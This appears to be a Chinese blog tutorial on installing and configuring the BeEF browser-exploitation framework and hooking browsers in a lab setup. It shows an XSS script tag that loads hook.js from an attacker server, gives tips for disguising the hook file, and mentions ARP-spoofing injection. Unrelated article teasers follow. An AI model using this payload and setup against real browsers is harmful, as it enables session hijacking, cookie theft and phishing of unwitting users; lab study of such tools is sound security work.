全文概览

简介

BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。BeEF的总体思路就是在内网下通过arp欺骗,修改response包,加入我们的钩子。这个框架也属于cs的结构,具体可以看下图。

zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端UI, 和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。

kali已经把beef-xss做成服务了,推荐使用systemctl 命令来启动或关闭beef服务器

  1. systemctl start beef-xss.service #开启beef
  2. systemctl stop beef-xss.service #关闭beef
  3. systemctl restart beef-xss.service #重启beef

公网安装

在公网Ubuntu17下安装beef

  1. 首先在vps中,初始用户一般是rootroot是没法安装某些ruby的一些扩展包(考虑到安全问题),所以需要一个降权的用户。
  2. #创建一个beef的用户
  3. useradd -m -d /home/beef -s /bin/bash beef
  4. #设置beef的密码,最好使用强密码
  5. passwd beef
  6. #把beef用户加入sudo, root 组
  7. usermod -aG root,sudo beef
  8. #转到beef用户
  9. su beef
  10. 接着就是安装beef
  11. #进入家目录
  12. cd
  13. #获取源文件
  14. wget https://github.com/beefproject/beef/archive/master.zip
  15. sudo apt update && sudo apt upgrade -y && sudo apt install unzip ruby ruby-dev -y
  16. #解压master.zip
  17. unzip master.zip
  18. cd beef-master
  19. #安装beef
  20. ./install
  21. 笔者在安装过程中遇到/var/lib/gems/2.3.0, /usr/local/bin 这两个目录没有写权限的错误,下面是解决方法
  22. sudo chmod g+w /var/lib/gems/2.3.0
  23. sudo chmod g+w /usr/local/bin
  24. #再次运行
  25. ./install
  26. beefsudo, root 组中移除
  27. #运行
  28. sudo chmod g-w /var/lib/gems/2.3.0 && sudo chmod g-w /usr/local/bin
  29. sudo gpasswd -d beef root && gpasswd -d beef sudo
  30. 最后运行beef 建议别使用root来运行beef服务器, 既然已经创建了一个idbeef的用户,那么以后都以这个用户来运行beef服务器会更好。
  31. #进入beef所在目录
  32. cd /home/beef/beef-master
  33. #以后台模式运行beef服务器,且即使ssh断开了,也不影响beef 服务器。
  34. nohup ./beef &

配置

kali下的BeEF配置文件在  /usr/share/beef-xss/config.yaml,其它的配置文件也在这个目录的子目录下,往后在使用某些功能时,需要修改对应的配置文件。自主安装的BeEF配置文件会在BeEF的主目录下config.yaml,建议修改几个地方:

  1. ### 指定某个网段,只有在这个网段的浏览器才能被hook
  2. permitted_hooking_subnet: "0.0.0.0/0"
  3.  
  4. ### 指定某个网段,只有在这个网段的浏览器才能访问管理UI
  5. permitted_ui_subnet: "0.0.0.0/0"
  6.  
  7. ### 上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置
  8.  
  9. ### 设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认
  10. host: "0.0.0.0"
  11.  
  12. ### 设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024
  13. port: "3000"
  14.  
  15. ### 受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。
  16. xhr_poll_timeout: 1000
  17.  
  18. #public: "" # public hostname/IP address
  19. #public_port: "" # experimental
  20. ### 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。
  21.  
  22. ### 管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面
  23. web_ui_basepath: "/ui"
  24.  
  25. ### hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性
  26. hook_file: "/hook.js"
  27.  
  28. ### 管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的
  29. credentials:
  30. user: "beef"
  31. passwd: "beef"

默认无法使用msf模块,因此还需要作如下配置连接msf。

注:host不可用127.0.0.1

启动msf

挂马(初始控制)

启动kali beef端(IP:192.168.187.149)

如果一个网站有XSS漏洞,然后你通过某种方式把你的payload(<script src="http://Attacker IP:3000/hook.js"></script>)发到这个有XSS漏洞的页面,受害者点击或者直接访问那个界面时,就会不断请求Attacker端的hook.js,以此实现盗cookie/钓鱼等操作。

Win2003(IP:192.168.187.148)的WWW主目录下有一网页1.html。

本地访问

主机访问

回到Attacker端,可以看见虚拟机win2003和主机win10都已上钩

参考文章

https://blog.csdn.net/Fly_hps/article/details/81940388

https://blog.csdn.net/m0_37268841/article/details/80091615

xss利用——BeEF#stage1的更多相关文章

  1. xss利用——BeEF#stage4(其余功能介绍)

    目录 信息收集 => 社会工程 =>网络扫描 => 结合metasploit => tunneling => xss => 维持权限 功能介绍 #1 - 信息收集 ...

  2. xss利用——BeEF#stage2(初始并持续化控制)

    全文概览 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,如下图 整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击.在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和 ...

  3. xss利用——BeEF#stage3(绕过同源策略与浏览器代理)

    绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...

  4. 利用Beef劫持客户端浏览器

    利用Beef劫持客户端浏览器   环境: 1.Kali(使用beef生成恶意代码,IP:192.168.114.140) 2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.11 ...

  5. xss利用和检测平台

    xssing 是安全研究者Yaseng发起的一个基于 php+mysql的 网站 xss 利用与检测开源项目,可以对你的产品进行黑盒xss安全测试,可以兼容获取各种浏览器客户端的网站url,cooki ...

  6. 漏洞利用:验证绕过,XSS利用,Cookic盗用,文件上传

    1.      文件上传 低级别 写好上传的内容 选择好上传的文件 上传成功. 测试:访问文件,执行代码 中级别 修改文件后缀为png 上传该文件 抓包修改文件后缀为php,然后允许数据包通过. 上传 ...

  7. xss利用

    xss盗取cookie 什么是cookie cookie是曲奇饼,啊开个玩笑,cookie是每个用户登录唯一id和账号密码一样可以登录到网站,是的你没有听错cookie可以直接登录,至于服务器怎么设置 ...

  8. 利用BeEF REST API自动化控制僵尸主机

    本文首发Freebuf,属于原创奖励计划,未经许可禁止转载. http://www.freebuf.com/articles/network/137662.html 一. 前言 关于BeEF,不再多介 ...

  9. XSS之Beef的使用

    0x01 Beef简介 BeEF是The Browser Exploitation Framework的缩写.它是一种专注于Web浏览器的渗透测试工具. beef管理.挂钩web浏览器的过程: 生成交 ...

随机推荐

  1. python读文件出现错误解决方法

    python读文件经常会出现 UnicodeDecodeError: 'gbk' codec can't decode byte 0xbd in position 764: illegal multi ...

  2. Answers for Q1 and Q2

    A1: 1. enetity-data model mapping: 2. database design 2.1  sql create table A_manufacturer_info(manu ...

  3. 微信小程序自动化

    解析微信小程序 注意:若上面方法不行就使用下面的 小程序对应的chrome驱动版本包,2.4版本的

  4. 使用 C# 捕获进程输出

    使用 C# 捕获进程输出 Intro 很多时候我们可能会需要执行一段命令获取一个输出,遇到的比较典型的就是之前我们需要用 FFMpeg 实现视频的编码压缩水印等一系列操作,当时使用的是 FFMpegC ...

  5. CRMEB单商户商城系统v4.0源码,含前端uni-app源码

    CRMEB商城系统是基于ThinkPhp6.0+Vue开发的一套新零售移动电商系统,CRMEB系统就是集客户关系管理+营销电商系统,能够快速积累客户.会员数据分析.智能转化客户. 有效提高销售.会员维 ...

  6. laravel5学习并搭建网站【更新至2020-09-03】

    之前一直不清楚 php artisan 要如何使用,有朋友推荐使用phpstorm可以进行命令行执行, 现在发现其实如果真的不喜欢phpstorm的加载缓慢,可以试试计算机原有的命令行 记住需要跳转到 ...

  7. Construct a Matrix (矩阵快速幂+构造)

    There is a set of matrixes that are constructed subject to the following constraints: 1. The matrix ...

  8. Funny Positive Sequence (思维+前缀)

    There are n integers a 1,a 2,…,a n-1,a n in the sequence A, the sum of these n integers is larger th ...

  9. leetcode-双指针遍历

    编写一个函数,其作用是将输入的字符串反转过来.输入字符串以字符数组 char[] 的形式给出.不要给另外的数组分配额外的空间,你必须原地修改输入数组.使用 O(1) 的额外空间解决这一问题.你可以假设 ...

  10. 用安卓 WebView 做一个“套壳”应用

    前言 目前手机应用市场上的 APP 类型主要为以下两种: Native App(原生应用):直接针对平台(Android.iOS 等手机系统)进行开发,属于性能最优的方案,也是开发成本最大的方案. H ...